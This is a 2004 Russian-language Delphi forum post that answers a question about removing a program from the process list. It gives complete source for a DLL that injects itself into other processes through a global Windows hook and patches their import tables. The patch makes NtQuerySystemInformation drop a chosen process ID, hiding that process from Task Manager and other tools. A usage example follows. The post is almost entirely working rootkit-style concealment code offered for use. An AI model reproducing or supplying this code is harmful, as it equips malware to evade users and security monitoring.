Шустрый
Профиль
Группа: Awaiting Authorisation
Сообщений: 94
Регистрация: 8.9.2004
Репутация: 2
Всего: 7
|
| Цитата(Pathfider @ 24.10.2004, 18:31) | | а вот как убрать прогу из списка процессов еще не встречал! |
Кто ещё не встречал, делаем так, создаём DLL: | Код |
//==============================================================================
// Для использования нужно вызвать функцию HideProcess:
// function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL, где
// pid - идентификатор процесса, который нужно спрятать
// HideOnlyFromTaskManager - нужно ли прятать процесс только от TaskManager'а,
// или же от остальных программ, использующих для получения списка процессов
// функцию NtQuerySystemInformation из ntdll.dll.
//
// Пример использования:
// function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
// external 'nthide.dll';
//
// procedure TForm1.Button1Click(Sender: TObject);
// begin
// HideProcess(GetCurrentProcessId, False); //спрятать текущий процесс
// end;
//==============================================================================
library nthide;
uses
Windows,
SysUtils,
ImageHlp,
TlHelp32;
type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
0:(
Characteristics: DWORD);
1:(
OriginalFirstThunk:DWORD;
TimeDateStamp:DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC = ^FARPROC;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var
ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD; ppfn:PFARPROC;
fFound: LongBool;
Written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then Exit;
while pImportDesc.Name <> 0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then Exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^ <> 0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE, Written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
Exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi, SystemInformation
getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain
fillzero:
and [ebx], edx
jmp onceagain
quit:
mov Result, eax
end;
procedure InterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then Exit;
try
ZeroMemory(@me32, sizeof(MODULEENTRY32));
me32.dwSize := sizeof(MODULEENTRY32);
Module32First(hSnapShot, me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation, @MyNtQuerySystemInfo, me32.hModule);
until not Module32Next(hSnapShot, me32);
finally
CloseHandle(hSnapShot);
end;
end;
procedure UninterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then Exit;
try
ZeroMemory(@me32, sizeof(MODULEENTRY32));
me32.dwSize := sizeof(MODULEENTRY32);
Module32First(hSnapShot, me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo, addr_NtQuerySystemInformation, me32.hModule);
until not Module32Next(hSnapShot, me32);
finally
CloseHandle(hSnapShot);
end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result := 0;
end;
procedure InstallHook; stdcall;
begin
HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var
hFirstMapHandle:THandle;
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var
addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid := 0;
result := False;
hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,'NtHideFileMapping');
if hFirstMapHandle = 0 then Exit;
addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
if addrMap = nil then
begin
CloseHandle(hFirstMapHandle);
Exit;
end;
addrMap^ := pid;
ptr2 := PBOOL(DWORD(addrMap) + 4);
ptr2^ := HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result := True;
end;
exports
HideProcess;
var
hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;
begin
hmap := OpenFileMapping(FILE_MAP_READ, False, 'NtHideFileMapping');
if hmap = 0 then Exit;
try
mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
if mapaddr = nil then Exit;
mypid := mapaddr^;
hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
if hideOnlyTaskMan^ then
begin
fname := allocMem(MAX_PATH + 1);
GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
if not (ExtractFileName(fname) = 'taskmgr.exe') then Exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc := @LibraryProc;
end;
end.
|
Ну потом её используем: | Код |
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
external 'nthide.dll';
procedure TForm1.Button1Click(Sender: TObject);
begin
HideProcess(GetCurrentProcessId, False);
end;
end.
|
Желаю удачи 
|
CTRL+ALT+DELETE under XP, может не ново, но этого я ещё не видел 
Загрузка ...
Дата 21.10.2004, 11:14 (
